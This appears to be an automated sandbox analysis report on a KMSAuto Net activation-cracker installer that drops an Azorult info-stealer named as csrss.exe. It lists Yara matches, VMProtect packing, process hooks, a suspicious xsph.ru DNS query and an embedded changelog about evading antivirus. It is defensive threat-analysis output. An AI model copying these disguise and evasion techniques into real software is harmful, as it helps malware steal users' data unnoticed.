Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: https://keepass.info/
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: https://keepass.info/1020KMSAuto

Source: unknown

DNS traffic detected: queries for: f0355889.xsph.ru

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown

Detected VMProtect packer

Source: csrss.exe.0.dr

Static PE information: .vmp0 and .vmp1 section names

Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 1.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_csrss.exe_f22660799b81b1cdf575f7ba80bebda2d012813c_4666b2e0_0a75e935\Report.wer, type: DROPPED	Matched rule: SUSP_WER_Suspicious_Crash_Directory date = 2019-10-18, author = Florian Roth (Nextron Systems), description = Detects a crashed application executed in a suspicious directory, score = , reference = https://twitter.com/cyb3rops/status/1185585050059976705

Source: C:\Users\user\AppData\Roaming\csrss.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5224 -s 1136

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C3597	0_3_046C3597
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046BF8FF	0_3_046BF8FF
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C2FE7	0_3_046C2FE7
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C502A	0_3_046C502A
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C1087	0_3_046C1087
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C4887	0_3_046C4887
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C3947	0_3_046C3947
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C31E7	0_3_046C31E7
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C51B7	0_3_046C51B7
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C5292	0_3_046C5292
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C3B07	0_3_046C3B07
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Code function: 2_2_0125DE97	2_2_0125DE97
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Code function: 2_2_0125C190	2_2_0125C190
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Code function: 2_2_01259870	2_2_01259870
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Code function: 2_2_05136FC0	2_2_05136FC0

Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Binary or memory string: OriginalFilename vs ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002214000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKMSAuto Net.exe8 vs ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.sfx.exe, vs ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKMSAuto Net.exe8 vs ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	ReversingLabs: Detection: 56%
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Virustotal: Detection: 44%

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File read: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe" /nc /s
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process created: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe "C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe" /nc
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5224 -s 1136
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md "C:\Users\user\AppData\Local\MSfree Inc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo test>>"C:\Program Files (x86)\KMSAuto\KMSAuto Net\test.test"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /D /c del /F /Q "test.test"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe" /nc /s	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process created: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe "C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe" /nc	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md "C:\Users\user\AppData\Local\MSfree Inc"	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo test>>"C:\Program Files (x86)\KMSAuto\KMSAuto Net\test.test"	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /D /c del /F /Q "test.test"	Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File created: C:\Users\user\AppData\Roaming\csrss.exe

Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File created: C:\Users\user\AppData\Local\Temp\$inst

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@15/12@1/1

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5928:120:WilError_01
Source: C:\Users\user\AppData\Roaming\csrss.exe	Mutant created: \Sessions\1\BaseNamedObjects\AE86A6D5-F9414907-A57CDE79-FB48779A-2099B0D06
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3796:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5224

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File created: C:\Program Files (x86)\KMSAuto

Jump to behavior

Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: ltiples versiones del programa. Ratiborus Changelog: v1.4.9 -Added Keys for Windows Server 2016 Essentials. -KMS Server Service v2.0.3. v1.4.8 -Added Keys for Win
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: a GVLK forcibly. -Added option to disable Task Scheduler which monitor user actions. v1.2.4.1 -Fixed bug when working with command line parameters creating a scheduled task. v1.2.4 -Activating in Auto mode starts using Windivert method. -In the
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: and makes it possible to remove them. v1.3.1.b3 -Added function for switching language interface. v1.3.1.b2 -Fixed bug when working with command line parameters creating a scheduled task. v1.3.1.b1 -Added support to activate Windows Technical P
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: eview, Windows 10. v1.3.0 -Added support to activate OEM editions: "Windows 8.1 Single Language with Bing", "Windows 8.1 with Bing" and "Windows 8.1 Pro for Education" v1.2.8 -ProduKey program updated from v1.65 to v1.66. -Replaced SppPatcher
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: Carefully read the message that appears when you click on this button! v1.1.6 -Added the ability to reset the program to default values. -New containers for modules. Unpacking modules and drivers is faster. -Task scheduler creates tasks on behalf of t
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: AP method the TAP adapter is not re-installed. v1.2.3 -Activation functions are optimized for Windows and Office. -Fixed minor bugs. -Changed the "Utilities" tab. Added "KMS Client by Hotbird64" -New KMSSS.exe supporting installation Hwid KMS-Serve
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: . v1.2.2 -Fixed date and time displayed in hexadecimal format in the log file. v1.2.1 -Added the utility from ShowHideControls miXOnIN. To convert Systems Editions. -In Professional Mode, Advanced tab, the button "Convert Office RETAIL to VL".
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: Runs on Windows 8-8.1, doesn't work on Windows 7!. -New KMSSS.exe supporting installation Hwid KMS-Server. v1.2.0 -Changed the "Settings" tab. v1.1.9.b1 -Updated program for ProduKey v1.62 v1.65 -Added the choice of Activation intervals of 10
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: nd 20 days. -Installing GVLK Key at "Utilities" tab, works through slmgr.vbs. -Changed setting keys function for "Unsupported Product" (so reports WMI OS). -Added the program KMS Log Analyzer, for easy viewing and conservation of information of the lo
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: nd 20 days. -Installing GVLK Key at "Utilities" tab, works through slmgr.vbs. -Changed setting keys function for "Unsupported Product" (so reports WMI OS). -Added the program KMS Log Analyzer, for easy viewing and conservation of information of the lo
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: of local host activation is excluded. -Added a second type of TAP adapter to resolve the conflict with the already established TAP VPN. -WinDivert v1.1 has been applied, so not "incidents" result in BSOD on x86 systems. -Eliminate errors when in the file
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: ng files. -Added option in the task scheduler to create the task in the ProgramData\KMSAutoS path. v1.1.1 -Added activation method with temporary substitution of 8.1 files. v1.0.9.1 -Eliminating annoying bug with non-removed service TunMirror. v
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: s :) v1.0.3 -Applied a modified KMS-Service. Allows for the use of each product your own ePID. Including CSVLK from actual key. -Changed the installation and removal of TunMirror. -Changed the installation and removal of TAP interface. -Added s
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: dows Server 2016 Essentials. -KMS Server Service v2.0.3. v1.4.8 -Added Keys for Windows Server 2016. v1.4.7 -New KMS-Service. v1.4.6 -Added Keys for Windows 10 and Office 2016. v1.4.5 -Fixed minor bugs. v1.4.4 -Small changes in progra
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: pport for activation of Core, Embedded Industry, Single Language, etc. v1.0.2 -Change the setting of TAP interface. -New feature for activation Backup / Restore. -Cosmetic changes to the interface. -Added the ability to create a task scheduler to ac
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: path a sign "&" (ampersand) is present. v1.0.8 -Added a setting to remove the WinDivert driver. To avoid a possible crashing of your system in a BSOD, the unconditional removal can be turned on. By default, the removal is made after reboot. -Adde
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: Evgeny972 et les personnes du forum.ru-board.com, pour l'assitance et les tests des multiples versions du programme. Journal des modifications : v1.4.9 -Added Keys for Wi
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: Office 2016 Mondo. v1.3.9 -Conversion from Office 2016 Word, Excel, Access, OneNote, OutLook, PowerPoint, Publisher RETAIL to VL. v1.3.8 -Fixed: mapping display buttons when the font is enlarged to 125%. -Added: Display the license expiration d
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: nh. Ratiborus Changelog: v1.4.9 -Added Keys for Windows Server 2016 Essentials. -KMS Server Service v2.0.3. v1.4.8 -Added Keys for Windows Server 2016.
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: te (180 days 0 hours 0 minutes). -Added in "Other utilities" restore system files from the disk with your version/edition of Windows. v1.3.7 -Fixed: Encoding readme_ru.txt. -Added readme.txt in the Bulgarian language. -Utility to save activati
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: -Changes in program for compatibility with antivirus software. v1.4.0 -Added: Conversion from Office 2016 Mondo. v1.3.9 -Conversion from Office 2016 Word, Excel, Access, OneNote, OutLook, PowerPoint, Publisher RETAIL to VL. v1.3.8 -Fixed: map
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: m.ru-board.com for making possible assistance and testing of multiple versions of the program. Ratiborus Changelog: v1.4.9 -Added Keys for Windows Server 201
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: ing display buttons when the font is enlarged to 125%. -Added: Display the license expiration date (180 days 0 hours 0 minutes). -Added in "Other utilities" restore system files from the disk with your version/edition of Windows. v1.3.7 -Fixed:
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: Ratiborus v1.4.9 -Added Keys for Windows Server 2016 Essentials. -KMS Server Service v2.0.3. v1.4.8 -Added Keys for Windows Server 2016. v1.4.7 -New KMS-Service. v1.4.6 -Added Keys for Windows
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: lse positive. -Included utility MSActBackUp. -Added Keys for Windows 10 and Office 2016. -Conversion from Office 2016 RETAIL to VL. -If Office is not installed, the button "Activate Office" is disabled. -In the "About" tab you can find a link to a pa
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: -Hook method uses a modified SECO Injector. Works at Activation and Renewal intervals and set own ePID. v1.1.2b2 -Option to connect to the KMS server where Hook mode works without replacing files. -Added option in the task scheduler to create the t
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: -Small changes to the interface, added compatibility with Windows Technical Preview. -Now the program has French interface, thanks to coleo. v1.3.1.b4 -Added function that runs the script from heos(ru-board.com). This script searches for installed
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: Essentials. -KMS Server Service v2.0.3. v1.4.8 -Added Keys for Windows Server 2016. v1.4.7 -New KMS-Service. v1.4.6 -Added Keys for Windows 10 and Office 2016. v1.4.5 -Fixed minor bugs. v1.4.4 -Small changes in program code. v1.4.
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: . A random IP address is used and when the activation fails check box is cleared. -Re-compiled KMS Service. So antivirus software will not detect it as threat/false positive. -Included utility MSActBackUp. -Added Keys for Windows 10 and Office 2016. -C
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: ncoding readme_ru.txt. -Added readme.txt in the Bulgarian language. -Utility to save activation MSActBackUp v1.0.8. v1.3.6 -Updated program ProduKey v1.70 to v1.80. -Fixed: Setting keys for Office 2016. -Fixed: The task in the scheduler runs eve
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: nversion from Office 2016 RETAIL to VL. -If Office is not installed, the button "Activate Office" is disabled. -In the "About" tab you can find a link to a page with my programs. -Added program for Windows 10 "Show or hide updates" v1.3.2 -Small cha
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	String found in binary or memory: e positive. -Included utility MSActBackUp. -Added Keys for Windows 10 and Office 2016. -Conversion from Office 2016 RETAIL to VL. -If Office is not installed, the button "Activate Office" is disabled. -In the "About" tab you can find a link to a page

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe

File written: C:\Users\user\AppData\Local\MSfree Inc\kmsauto.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File opened: C:\Windows\SysWOW64\msftedit.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Static file information: File size 8425933 > 1048576

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_0227D2BB push eax; retf	0_3_0227D3A2
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046BFC87 push ecx; mov dword ptr [esp], ecx	0_3_046BFC88
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046B2E71 push eax; ret	0_3_046B2E7B
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Code function: 0_3_046C4987 push eax; ret	0_3_046C49A5
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 1_2_008A67D7 push ebp; ret	1_2_008A686A

Source: csrss.exe.0.dr	Static PE information: section name: .vmp0
Source: csrss.exe.0.dr	Static PE information: section name: .vmp1

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: csrss.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4cfa3d
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Static PE information: real checksum: 0x40637 should be: 0x81749e

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

File created: C:\Users\user\AppData\Roaming\csrss.exe

Jump to dropped file

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	File created: C:\Users\user\AppData\Roaming\csrss.exe			Jump to dropped file
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	File created: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Roaming\csrss.exe	Memory written: PID: 5224 base: 2AF0005 value: E9 FB 99 DF 74	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Memory written: PID: 5224 base: 778E9A00 value: E9 0A 66 20 8B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Memory written: PID: 5224 base: 2B00007 value: E9 7B 4C E2 74	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Memory written: PID: 5224 base: 77924C80 value: E9 8E B3 1D 8B	Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
